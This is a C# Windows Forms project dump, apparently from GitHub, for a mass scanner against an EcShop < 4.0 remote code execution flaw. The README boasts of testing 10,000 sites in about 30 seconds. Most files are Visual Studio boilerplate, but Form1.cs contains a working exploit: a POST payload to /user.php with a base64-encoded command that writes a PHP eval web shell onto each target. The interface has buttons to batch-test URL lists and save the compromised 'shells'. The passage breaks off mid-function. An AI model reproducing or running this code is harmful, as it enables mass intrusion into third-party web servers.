├── WindowsFormsApplication5
├── bin
│ └── Debug
│ │ ├── result
│ │ ├── OK.txt
│ │ └── Success.txt
│ │ ├── skinh.she
│ │ ├── SkinH_CS.dll
│ │ ├── SkinH_Net.dll
│ │ ├── HttpCodeLib.dll
│ │ ├── HttpCodeLib.pdb
│ │ ├── WindowsFormsApplication5.exe
│ │ ├── WindowsFormsApplication5.pdb
│ │ ├── WindowsFormsApplication5.vshost.exe
│ │ ├── WindowsFormsApplication5.exe.config
│ │ ├── WindowsFormsApplication5.vshost.exe.config
│ │ ├── WindowsFormsApplication5.vshost.exe.manifest
│ │ └── HttpCodeLib.xml
├── obj
│ └── Debug
│ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ ├── WindowsFormsApplication5.exe
│ │ ├── WindowsFormsApplication5.pdb
│ │ ├── WindowsFormsApplication5.Form1.resources
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── WindowsFormsApplication5.Properties.Resources.resources
│ │ ├── WindowsFormsApplication5.csproj.GenerateResource.Cache
│ │ ├── WindowsFormsApplication5.csprojResolveAssemblyReference.cache
│ │ └── WindowsFormsApplication5.csproj.FileListAbsolute.txt
├── favicon.ico
├── App.config
├── Properties
│ ├── Settings.settings
│ ├── AssemblyInfo.cs
│ ├── Settings.Designer.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── Program.cs
├── WindowsFormsApplication5.csproj
├── Form1.Designer.cs
├── Form1.cs
└── Form1.resx
├── .vs
└── WindowsFormsApplication5
│ └── v14
│ └── .suo
├── README.md
└── WindowsFormsApplication5.sln
/WindowsFormsApplication5/bin/Debug/result/OK.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/result/Success.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.vs/WindowsFormsApplication5/v14/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/.vs/WindowsFormsApplication5/v14/.suo
--------------------------------------------------------------------------------
/WindowsFormsApplication5/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/favicon.ico
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/skinh.she:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/skinh.she
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/SkinH_CS.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/SkinH_CS.dll
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/SkinH_Net.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/SkinH_Net.dll
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/HttpCodeLib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/HttpCodeLib.dll
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/HttpCodeLib.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/HttpCodeLib.pdb
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.exe
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.pdb
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.exe
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.pdb
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.vshost.exe
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.Form1.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.Form1.resources
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # EcShop_RCE_Scanner
2 |
3 | 一款采用C#开发的扫描工具,专门扫描EcShop < 4.0 远程代码执行漏洞,1万个网站只需要30秒左右就能完成了。
4 |
5 | 
6 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.Properties.Resources.resources
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.csproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.csproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hzllaga/EcShop_RCE_Scanner/HEAD/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.vshost.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/WindowsFormsApplication5.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace WindowsFormsApplication5
8 | {
9 | static class Program
10 | {
11 | ///
12 | /// 應用程式的主要進入點。
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new Form1());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsFormsApplication5", "WindowsFormsApplication5\WindowsFormsApplication5.csproj", "{63EE3BE0-CE10-4D71-8D18-FB09DE3DD677}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {63EE3BE0-CE10-4D71-8D18-FB09DE3DD677}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {63EE3BE0-CE10-4D71-8D18-FB09DE3DD677}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {63EE3BE0-CE10-4D71-8D18-FB09DE3DD677}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {63EE3BE0-CE10-4D71-8D18-FB09DE3DD677}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 組件的一般資訊是由下列的屬性集控制。
6 | // 變更這些屬性的值即可修改組件的相關
7 | // 資訊。
8 | [assembly: AssemblyTitle("WindowsFormsApplication5")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("WindowsFormsApplication5")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 將 ComVisible 設定為 false 會使得這個組件中的類型
18 | // 對 COM 元件而言為不可見。如果您需要從 COM 存取這個組件中
19 | // 的類型,請在該類型上將 ComVisible 屬性設定為 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 下列 GUID 為專案公開 (Expose) 至 COM 時所要使用的 typelib ID
23 | [assembly: Guid("63ee3be0-ce10-4d71-8d18-fb09de3dd677")]
24 |
25 | // 組件的版本資訊由下列四個值所組成:
26 | //
27 | // 主要版本
28 | // 次要版本
29 | // 組建編號
30 | // 修訂編號
31 | //
32 | // 您可以指定所有的值,也可以依照以下的方式,使用 '*' 將組建和修訂編號
33 | // 指定為預設值:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace WindowsFormsApplication5.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 這段程式碼是由工具產生的。
4 | // 執行階段版本:4.0.30319.42000
5 | //
6 | // 變更這個檔案可能會導致不正確的行為,而且如果已重新產生
7 | // 程式碼,則會遺失變更。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace WindowsFormsApplication5.Properties
12 | {
13 |
14 |
15 | ///
16 | /// 用於查詢當地語系化字串等的強類型資源類別
17 | ///
18 | // 這個類別是自動產生的,是利用 StronglyTypedResourceBuilder
19 | // 類別透過 ResGen 或 Visual Studio 這類工具產生。
20 | // 若要加入或移除成員,請編輯您的 .ResX 檔,然後重新執行 ResGen
21 | // (利用 /str 選項),或重建您的 VS 專案。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// 傳回這個類別使用的快取的 ResourceManager 執行個體。
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("WindowsFormsApplication5.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// 覆寫目前執行緒的 CurrentUICulture 屬性,對象是所有
56 | /// 使用這個強類型資源類別的資源查閱。
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/obj/Debug/WindowsFormsApplication5.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\WindowsFormsApplication5.exe.config
2 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\WindowsFormsApplication5.exe
3 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\WindowsFormsApplication5.pdb
4 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\HttpCodeLib.dll
5 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\HttpCodeLib.pdb
6 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\HttpCodeLib.xml
7 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.csprojResolveAssemblyReference.cache
8 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.Form1.resources
9 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.Properties.Resources.resources
10 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.csproj.GenerateResource.Cache
11 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.exe
12 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.pdb
13 | c:\users\haihai\documents\visual studio 2015\Projects\WindowsFormsApplication5\WindowsFormsApplication5\bin\Debug\SkinH_CS.dll
14 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\bin\Debug\WindowsFormsApplication5.exe.config
15 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.exe
16 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.pdb
17 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\bin\Debug\WindowsFormsApplication5.exe
18 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\bin\Debug\WindowsFormsApplication5.pdb
19 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\bin\Debug\HttpCodeLib.pdb
20 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\bin\Debug\HttpCodeLib.xml
21 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.csprojResolveAssemblyReference.cache
22 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.Form1.resources
23 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.Properties.Resources.resources
24 | H:\源代码\EcShop RCE 多线程版\WindowsFormsApplication5\obj\Debug\WindowsFormsApplication5.csproj.GenerateResource.Cache
25 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/WindowsFormsApplication5.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {63EE3BE0-CE10-4D71-8D18-FB09DE3DD677}
8 | WinExe
9 | Properties
10 | WindowsFormsApplication5
11 | WindowsFormsApplication5
12 | v4.5.2
13 | 512
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | favicon.ico
37 |
38 |
39 |
40 | ..\..\..\..\..\Desktop\HttpCodeLib-master\HttpCodeLib-master\HttpCodeLib\bin\Debug\HttpCodeLib.dll
41 |
42 |
43 | ..\..\WindowsFormsApplication1\WindowsFormsApplication1\bin\Debug\SkinH_CS.dll
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 | Form
60 |
61 |
62 | Form1.cs
63 |
64 |
65 |
66 |
67 | Form1.cs
68 |
69 |
70 | ResXFileCodeGenerator
71 | Resources.Designer.cs
72 | Designer
73 |
74 |
75 | True
76 | Resources.resx
77 |
78 |
79 | SettingsSingleFileGenerator
80 | Settings.Designer.cs
81 |
82 |
83 | True
84 | Settings.settings
85 | True
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
102 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace WindowsFormsApplication5
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// 設計工具所需的變數。
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// 清除任何使用中的資源。
12 | ///
13 | /// 如果應該處置 Managed 資源則為 true,否則為 false。
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form 設計工具產生的程式碼
24 |
25 | ///
26 | /// 此為設計工具支援所需的方法 - 請勿使用程式碼編輯器修改
27 | /// 這個方法的內容。
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
32 | this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
33 | this.button1 = new System.Windows.Forms.Button();
34 | this.label1 = new System.Windows.Forms.Label();
35 | this.label2 = new System.Windows.Forms.Label();
36 | this.button3 = new System.Windows.Forms.Button();
37 | this.progressBar1 = new System.Windows.Forms.ProgressBar();
38 | this.listView1 = new System.Windows.Forms.ListView();
39 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
40 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
41 | this.button2 = new System.Windows.Forms.Button();
42 | this.button4 = new System.Windows.Forms.Button();
43 | this.SuspendLayout();
44 | //
45 | // openFileDialog1
46 | //
47 | this.openFileDialog1.FileName = "openFileDialog1";
48 | //
49 | // button1
50 | //
51 | this.button1.Location = new System.Drawing.Point(30, 29);
52 | this.button1.Name = "button1";
53 | this.button1.Size = new System.Drawing.Size(75, 23);
54 | this.button1.TabIndex = 0;
55 | this.button1.Text = "导入";
56 | this.button1.UseVisualStyleBackColor = true;
57 | this.button1.Click += new System.EventHandler(this.button1_Click);
58 | //
59 | // label1
60 | //
61 | this.label1.AutoSize = true;
62 | this.label1.Location = new System.Drawing.Point(28, 406);
63 | this.label1.Name = "label1";
64 | this.label1.Size = new System.Drawing.Size(65, 12);
65 | this.label1.TabIndex = 2;
66 | this.label1.Text = "任务数量:";
67 | //
68 | // label2
69 | //
70 | this.label2.AutoSize = true;
71 | this.label2.Location = new System.Drawing.Point(99, 406);
72 | this.label2.Name = "label2";
73 | this.label2.Size = new System.Drawing.Size(31, 12);
74 | this.label2.TabIndex = 3;
75 | this.label2.Text = "(null)";
76 | this.label2.Click += new System.EventHandler(this.label2_Click);
77 | //
78 | // button3
79 | //
80 | this.button3.Location = new System.Drawing.Point(130, 29);
81 | this.button3.Name = "button3";
82 | this.button3.Size = new System.Drawing.Size(75, 23);
83 | this.button3.TabIndex = 6;
84 | this.button3.Text = "批量测试";
85 | this.button3.UseVisualStyleBackColor = true;
86 | this.button3.Click += new System.EventHandler(this.button3_Click);
87 | //
88 | // progressBar1
89 | //
90 | this.progressBar1.Location = new System.Drawing.Point(12, 435);
91 | this.progressBar1.Name = "progressBar1";
92 | this.progressBar1.Size = new System.Drawing.Size(504, 23);
93 | this.progressBar1.TabIndex = 8;
94 | //
95 | // listView1
96 | //
97 | this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
98 | this.columnHeader1,
99 | this.columnHeader2});
100 | this.listView1.Location = new System.Drawing.Point(12, 69);
101 | this.listView1.Name = "listView1";
102 | this.listView1.Size = new System.Drawing.Size(504, 325);
103 | this.listView1.TabIndex = 9;
104 | this.listView1.UseCompatibleStateImageBehavior = false;
105 | this.listView1.View = System.Windows.Forms.View.Details;
106 | //
107 | // columnHeader1
108 | //
109 | this.columnHeader1.Text = "网址";
110 | this.columnHeader1.Width = 250;
111 | //
112 | // columnHeader2
113 | //
114 | this.columnHeader2.Text = "结果";
115 | this.columnHeader2.Width = 250;
116 | //
117 | // button2
118 | //
119 | this.button2.Location = new System.Drawing.Point(230, 29);
120 | this.button2.Name = "button2";
121 | this.button2.Size = new System.Drawing.Size(75, 23);
122 | this.button2.TabIndex = 10;
123 | this.button2.Text = "保存Shell";
124 | this.button2.UseVisualStyleBackColor = true;
125 | this.button2.Click += new System.EventHandler(this.button2_Click);
126 | //
127 | // button4
128 | //
129 | this.button4.Location = new System.Drawing.Point(329, 29);
130 | this.button4.Name = "button4";
131 | this.button4.Size = new System.Drawing.Size(75, 23);
132 | this.button4.TabIndex = 11;
133 | this.button4.Text = "保存没权限";
134 | this.button4.UseVisualStyleBackColor = true;
135 | this.button4.Click += new System.EventHandler(this.button4_Click);
136 | //
137 | // Form1
138 | //
139 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
140 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
141 | this.ClientSize = new System.Drawing.Size(529, 470);
142 | this.Controls.Add(this.button4);
143 | this.Controls.Add(this.button2);
144 | this.Controls.Add(this.listView1);
145 | this.Controls.Add(this.progressBar1);
146 | this.Controls.Add(this.button3);
147 | this.Controls.Add(this.label2);
148 | this.Controls.Add(this.label1);
149 | this.Controls.Add(this.button1);
150 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
151 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
152 | this.MaximizeBox = false;
153 | this.Name = "Form1";
154 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
155 | this.Text = "EcShop < 4.0 Remote Code Execution ";
156 | this.Load += new System.EventHandler(this.Form1_Load);
157 | this.ResumeLayout(false);
158 | this.PerformLayout();
159 |
160 | }
161 |
162 | #endregion
163 |
164 | private System.Windows.Forms.OpenFileDialog openFileDialog1;
165 | private System.Windows.Forms.Button button1;
166 | private System.Windows.Forms.Label label1;
167 | private System.Windows.Forms.Label label2;
168 | private System.Windows.Forms.Button button3;
169 | private System.Windows.Forms.ProgressBar progressBar1;
170 | private System.Windows.Forms.ListView listView1;
171 | private System.Windows.Forms.ColumnHeader columnHeader1;
172 | private System.Windows.Forms.ColumnHeader columnHeader2;
173 | private System.Windows.Forms.Button button2;
174 | private System.Windows.Forms.Button button4;
175 | }
176 | }
177 |
178 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 | using HttpCodeLib;
11 | using System.IO;
12 | using System.Threading;
13 | using SkinSharp;
14 | using System.Collections;
15 | using System.Diagnostics;
16 |
17 | namespace WindowsFormsApplication5
18 | {
19 |
20 | public partial class Form1 : Form
21 | {
22 | public SkinH_Net skinh; //加载皮肤模块
23 | public Form1()
24 | {
25 | skinh = new SkinH_Net(); //定义皮肤变量
26 | skinh.Attach(); //加载皮肤
27 | InitializeComponent();
28 | CheckForIllegalCrossThreadCalls = false; //多线程之间控件可自由运用
29 | }
30 |
31 | public static string Exploit(string URL) //漏洞关键函数
32 | {
33 | string res = string.Empty;//清空请求结果,请求类型不是图片时有效
34 | string pdata = "hzllaga=eval(base64_decode($_POST[d]));echo HzllagaRCETestOK;exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ0h6bGxhZ2EucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbSHpsbGFnYV0pOz8%2BJyk7";//提交数据(必须项)
35 |
36 | System.Net.CookieContainer cc = new System.Net.CookieContainer();//自动处理Cookie对象
37 | HttpHelpers helper = new HttpHelpers();//发起请求对象
38 | HttpItems items = new HttpItems();//请求设置对象
39 | HttpResults hr = new HttpResults();//请求结果
40 | items.URL = URL + "/user.php";//请求的url地址
41 | items.Timeout = 5000;
